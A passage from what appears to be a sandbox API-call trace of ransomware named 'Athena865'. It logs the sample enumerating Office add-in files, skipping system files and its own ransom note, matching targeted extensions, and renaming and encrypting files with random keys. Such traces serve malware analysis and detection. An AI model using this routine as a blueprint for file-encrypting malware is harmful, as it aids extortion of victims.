[0151.502] lstrlenW (lpString=".dll") returned 4 [0151.502] lstrcmpiW (lpString1="ColleagueImport.dll", lpString2=".dll") returned 1 [0151.502] lstrlenW (lpString=".lnk") returned 4 [0151.502] lstrcmpiW (lpString1="ColleagueImport.dll", lpString2=".lnk") returned 1 [0151.502] lstrlenW (lpString=".ini") returned 4 [0151.502] lstrcmpiW (lpString1="ColleagueImport.dll", lpString2=".ini") returned 1 [0151.502] lstrlenW (lpString=".sys") returned 4 [0151.502] lstrcmpiW (lpString1="ColleagueImport.dll", lpString2=".sys") returned 1 [0151.502] lstrlenW (lpString="ColleagueImport.dll") returned 19 [0151.502] lstrlenW (lpString="bak") returned 3 [0151.502] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0151.502] lstrlenW (lpString="ba_") returned 3 [0151.502] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0151.502] lstrlenW (lpString="dbb") returned 3 [0151.502] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0151.502] lstrlenW (lpString="vmdk") returned 4 [0151.502] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0151.502] lstrlenW (lpString="rar") returned 3 [0151.502] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0151.502] lstrlenW (lpString="zip") returned 3 [0151.502] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0151.502] lstrlenW (lpString="tgz") returned 3 [0151.502] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0151.502] lstrlenW (lpString="vbox") returned 4 [0151.502] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0151.502] lstrlenW (lpString="vdi") returned 3 [0151.503] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0151.503] lstrlenW (lpString="vhd") returned 3 [0151.503] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0151.503] lstrlenW (lpString="vhdx") returned 4 [0151.503] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0151.503] lstrlenW (lpString="avhd") returned 4 [0151.503] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0151.503] lstrlenW (lpString="db") returned 2 [0151.503] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0151.503] lstrlenW (lpString="db2") returned 3 [0151.503] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0151.503] lstrlenW (lpString="db3") returned 3 [0151.503] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0151.503] lstrlenW (lpString="dbf") returned 3 [0151.503] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0151.503] lstrlenW (lpString="mdf") returned 3 [0151.503] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0151.503] lstrlenW (lpString="mdb") returned 3 [0151.503] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0151.503] lstrlenW (lpString="sql") returned 3 [0151.503] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0151.503] lstrlenW (lpString="sqlite") returned 6 [0151.503] lstrcmpiW (lpString1="rt.dll", lpString2="sqlite") returned -1 [0151.503] lstrlenW (lpString="sqlite3") returned 7 [0151.503] lstrcmpiW (lpString1="ort.dll", lpString2="sqlite3") returned -1 [0151.503] lstrlenW (lpString="sqlitedb") returned 8 [0151.503] lstrcmpiW (lpString1="port.dll", lpString2="sqlitedb") returned -1 [0151.503] lstrlenW (lpString="xml") returned 3 [0151.503] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0151.504] lstrlenW (lpString="$er") returned 3 [0151.504] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0151.504] lstrlenW (lpString="4dd") returned 3 [0151.504] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0151.504] lstrlenW (lpString="4dl") returned 3 [0151.504] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0151.504] lstrlenW (lpString="^^^") returned 3 [0151.504] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0151.504] lstrlenW (lpString="abs") returned 3 [0151.504] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0151.504] lstrlenW (lpString="abx") returned 3 [0151.504] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0151.504] lstrlenW (lpString="accdb") returned 5 [0151.504] lstrcmpiW (lpString1="t.dll", lpString2="accdb") returned 1 [0151.504] lstrlenW (lpString="accdc") returned 5 [0151.504] lstrcmpiW (lpString1="t.dll", lpString2="accdc") returned 1 [0151.504] lstrlenW (lpString="accde") returned 5 [0151.504] lstrcmpiW (lpString1="t.dll", lpString2="accde") returned 1 [0151.504] lstrlenW (lpString="accdr") returned 5 [0151.504] lstrcmpiW (lpString1="t.dll", lpString2="accdr") returned 1 [0151.504] lstrlenW (lpString="accdt") returned 5 [0151.504] lstrcmpiW (lpString1="t.dll", lpString2="accdt") returned 1 [0151.504] lstrlenW (lpString="accdw") returned 5 [0151.504] lstrcmpiW (lpString1="t.dll", lpString2="accdw") returned 1 [0151.504] lstrlenW (lpString="accft") returned 5 [0151.504] lstrcmpiW (lpString1="t.dll", lpString2="accft") returned 1 [0151.504] lstrlenW (lpString="adb") returned 3 [0151.504] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0151.504] lstrlenW (lpString="adb") returned 3 [0151.505] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0151.505] lstrlenW (lpString="ade") returned 3 [0151.505] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0151.505] lstrlenW (lpString="adf") returned 3 [0151.505] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0151.505] lstrlenW (lpString="adn") returned 3 [0151.505] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0151.505] lstrlenW (lpString="adp") returned 3 [0151.505] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0151.505] lstrlenW (lpString="alf") returned 3 [0151.505] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0151.505] lstrlenW (lpString="ask") returned 3 [0151.505] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0151.505] lstrlenW (lpString="btr") returned 3 [0151.505] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0151.505] lstrlenW (lpString="cat") returned 3 [0151.505] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0151.505] lstrlenW (lpString="cdb") returned 3 [0151.505] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0151.505] lstrlenW (lpString="ckp") returned 3 [0151.505] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0151.505] lstrlenW (lpString="cma") returned 3 [0151.505] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0151.505] lstrlenW (lpString="cpd") returned 3 [0151.505] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0151.505] lstrlenW (lpString="dacpac") returned 6 [0151.505] lstrcmpiW (lpString1="rt.dll", lpString2="dacpac") returned 1 [0151.505] lstrlenW (lpString="dad") returned 3 [0151.505] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0151.506] lstrlenW (lpString="dadiagrams") returned 10 [0151.506] lstrcmpiW (lpString1="Import.dll", lpString2="dadiagrams") returned 1 [0151.506] lstrlenW (lpString="daschema") returned 8 [0151.506] lstrcmpiW (lpString1="port.dll", lpString2="daschema") returned 1 [0151.506] lstrlenW (lpString="db-journal") returned 10 [0151.506] lstrcmpiW (lpString1="Import.dll", lpString2="db-journal") returned 1 [0151.506] lstrlenW (lpString="db-shm") returned 6 [0151.506] lstrcmpiW (lpString1="rt.dll", lpString2="db-shm") returned 1 [0151.506] lstrlenW (lpString="db-wal") returned 6 [0151.506] lstrcmpiW (lpString1="rt.dll", lpString2="db-wal") returned 1 [0151.506] lstrlenW (lpString="dbc") returned 3 [0151.506] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0151.506] lstrlenW (lpString="dbs") returned 3 [0151.506] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0151.506] lstrlenW (lpString="dbt") returned 3 [0151.506] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0151.506] lstrlenW (lpString="dbv") returned 3 [0151.506] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0151.506] lstrlenW (lpString="dbx") returned 3 [0151.506] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0151.506] lstrlenW (lpString="dcb") returned 3 [0151.506] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0151.506] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0151.506] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ColleagueImport.dll.Athena865") returned 79 [0151.507] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ColleagueImport.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\colleagueimport.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ColleagueImport.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\colleagueimport.dll.athena865"), dwFlags=0x1) returned 1 [0151.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\ColleagueImport.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\colleagueimport.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0151.508] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=95104) returned 1 [0151.509] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0151.509] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0151.509] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0151.509] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0151.510] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0151.510] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.510] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17680, lpName=0x0) returned 0x17c [0151.511] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17680) returned 0x100000 [0151.516] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0151.517] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0151.517] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0151.517] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0151.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0151.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0151.517] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0151.517] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0151.518] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0151.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0151.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0151.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0151.518] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0151.519] CloseHandle (hObject=0x17c) returned 1 [0151.519] CloseHandle (hObject=0x154) returned 1 [0151.519] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0151.519] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0151.519] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0151.520] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0725100, ftCreationTime.dwHighDateTime=0x1bdbc1e, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0725100, ftLastWriteTime.dwHighDateTime=0x1bdbc1e, nFileSizeHigh=0x0, nFileSizeLow=0x33e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FAXEXT.ECF", cAlternateFileName="")) returned 1 [0151.520] lstrcmpiW (lpString1="FAXEXT.ECF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0151.520] lstrcmpiW (lpString1="FAXEXT.ECF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0151.520] lstrcmpiW (lpString1="FAXEXT.ECF", lpString2=".") returned 1 [0151.520] lstrcmpiW (lpString1="FAXEXT.ECF", lpString2="..") returned 1 [0151.520] lstrcmpiW (lpString1="FAXEXT.ECF", lpString2="windows") returned -1 [0151.520] lstrcmpiW (lpString1="FAXEXT.ECF", lpString2="bootmgr") returned 1 [0151.520] lstrcmpiW (lpString1="FAXEXT.ECF", lpString2="temp") returned -1 [0151.520] lstrcmpiW (lpString1="FAXEXT.ECF", lpString2="pagefile.sys") returned -1 [0151.520] lstrcmpiW (lpString1="FAXEXT.ECF", lpString2="boot") returned 1 [0151.520] lstrcmpiW (lpString1="FAXEXT.ECF", lpString2="ids.txt") returned -1 [0151.520] lstrcmpiW (lpString1="FAXEXT.ECF", lpString2="ntuser.dat") returned -1 [0151.520] lstrcmpiW (lpString1="FAXEXT.ECF", lpString2="perflogs") returned -1 [0151.520] lstrcmpiW (lpString1="FAXEXT.ECF", lpString2="MSBuild") returned -1 [0151.520] lstrlenW (lpString="FAXEXT.ECF") returned 10 [0151.520] lstrcpyW (in: lpString1=0x241e8ac, lpString2="FAXEXT.ECF" | out: lpString1="FAXEXT.ECF") returned="FAXEXT.ECF" [0151.520] lstrlenW (lpString="FAXEXT.ECF") returned 10 [0151.520] lstrlenW (lpString="Athena865") returned 9 [0151.520] lstrcmpiW (lpString1="AXEXT.ECF", lpString2="Athena865") returned 1 [0151.520] lstrlenW (lpString=".dll") returned 4 [0151.521] lstrcmpiW (lpString1="FAXEXT.ECF", lpString2=".dll") returned 1 [0151.521] lstrlenW (lpString=".lnk") returned 4 [0151.521] lstrcmpiW (lpString1="FAXEXT.ECF", lpString2=".lnk") returned 1 [0151.521] lstrlenW (lpString=".ini") returned 4 [0151.521] lstrcmpiW (lpString1="FAXEXT.ECF", lpString2=".ini") returned 1 [0151.521] lstrlenW (lpString=".sys") returned 4 [0151.521] lstrcmpiW (lpString1="FAXEXT.ECF", lpString2=".sys") returned 1 [0151.521] lstrlenW (lpString="FAXEXT.ECF") returned 10 [0151.521] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF.Athena865") returned 70 [0151.521] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\faxext.ecf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\faxext.ecf.athena865"), dwFlags=0x1) returned 1 [0151.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\FAXEXT.ECF.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\faxext.ecf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0151.523] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=830) returned 1 [0151.523] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0151.523] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0151.523] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0151.524] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0151.524] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0151.524] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.525] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x640, lpName=0x0) returned 0x17c [0151.526] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x640) returned 0x100000 [0151.527] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0151.528] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0151.528] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0151.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0151.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0151.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0151.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0151.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0151.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0151.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0151.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0151.528] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0151.528] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0151.529] CloseHandle (hObject=0x17c) returned 1 [0151.529] CloseHandle (hObject=0x154) returned 1 [0151.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0151.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0151.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0151.529] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf692da0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xcf692da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0151.529] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0151.529] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87891c00, ftCreationTime.dwHighDateTime=0x1ca15c9, ftLastAccessTime.dwLowDateTime=0x5279f530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87891c00, ftLastWriteTime.dwHighDateTime=0x1ca15c9, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOSEC.DLL", cAlternateFileName="")) returned 1 [0151.529] lstrcmpiW (lpString1="MSOSEC.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0151.529] lstrcmpiW (lpString1="MSOSEC.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0151.529] lstrcmpiW (lpString1="MSOSEC.DLL", lpString2=".") returned 1 [0151.529] lstrcmpiW (lpString1="MSOSEC.DLL", lpString2="..") returned 1 [0151.529] lstrcmpiW (lpString1="MSOSEC.DLL", lpString2="windows") returned -1 [0151.529] lstrcmpiW (lpString1="MSOSEC.DLL", lpString2="bootmgr") returned 1 [0151.529] lstrcmpiW (lpString1="MSOSEC.DLL", lpString2="temp") returned -1 [0151.529] lstrcmpiW (lpString1="MSOSEC.DLL", lpString2="pagefile.sys") returned -1 [0151.529] lstrcmpiW (lpString1="MSOSEC.DLL", lpString2="boot") returned 1 [0151.529] lstrcmpiW (lpString1="MSOSEC.DLL", lpString2="ids.txt") returned 1 [0151.529] lstrcmpiW (lpString1="MSOSEC.DLL", lpString2="ntuser.dat") returned -1 [0151.529] lstrcmpiW (lpString1="MSOSEC.DLL", lpString2="perflogs") returned -1 [0151.529] lstrcmpiW (lpString1="MSOSEC.DLL", lpString2="MSBuild") returned 1 [0151.529] lstrlenW (lpString="MSOSEC.DLL") returned 10 [0151.530] lstrcpyW (in: lpString1=0x241e8ac, lpString2="MSOSEC.DLL" | out: lpString1="MSOSEC.DLL") returned="MSOSEC.DLL" [0151.530] lstrlenW (lpString="MSOSEC.DLL") returned 10 [0151.530] lstrlenW (lpString="Athena865") returned 9 [0151.530] lstrcmpiW (lpString1="SOSEC.DLL", lpString2="Athena865") returned 1 [0151.530] lstrlenW (lpString=".dll") returned 4 [0151.530] lstrcmpiW (lpString1="MSOSEC.DLL", lpString2=".dll") returned 1 [0151.530] lstrlenW (lpString=".lnk") returned 4 [0151.530] lstrcmpiW (lpString1="MSOSEC.DLL", lpString2=".lnk") returned 1 [0151.530] lstrlenW (lpString=".ini") returned 4 [0151.530] lstrcmpiW (lpString1="MSOSEC.DLL", lpString2=".ini") returned 1 [0151.530] lstrlenW (lpString=".sys") returned 4 [0151.530] lstrcmpiW (lpString1="MSOSEC.DLL", lpString2=".sys") returned 1 [0151.530] lstrlenW (lpString="MSOSEC.DLL") returned 10 [0151.530] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL.Athena865") returned 70 [0151.530] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.dll.athena865"), dwFlags=0x1) returned 1 [0151.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSOSEC.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msosec.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0151.532] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7168) returned 1 [0151.532] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0151.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0151.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0151.533] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0151.533] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0151.533] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.534] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f00, lpName=0x0) returned 0x17c [0151.535] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f00) returned 0x100000 [0151.536] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0151.537] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0151.537] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0151.537] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0151.537] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0151.537] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0151.537] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0151.537] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0151.537] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0151.537] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0151.537] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0151.537] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0151.537] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0151.537] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0151.538] CloseHandle (hObject=0x17c) returned 1 [0151.538] CloseHandle (hObject=0x154) returned 1 [0151.538] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0151.538] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0151.538] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0151.538] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87891c00, ftCreationTime.dwHighDateTime=0x1ca15c9, ftLastAccessTime.dwLowDateTime=0x617be070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87891c00, ftLastWriteTime.dwHighDateTime=0x1ca15c9, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOSEC.XML", cAlternateFileName="")) returned 1 [0151.538] lstrcmpiW (lpString1="MSOSEC.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0151.538] lstrcmpiW (lpString1="MSOSEC.XML", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0151.538] lstrcmpiW 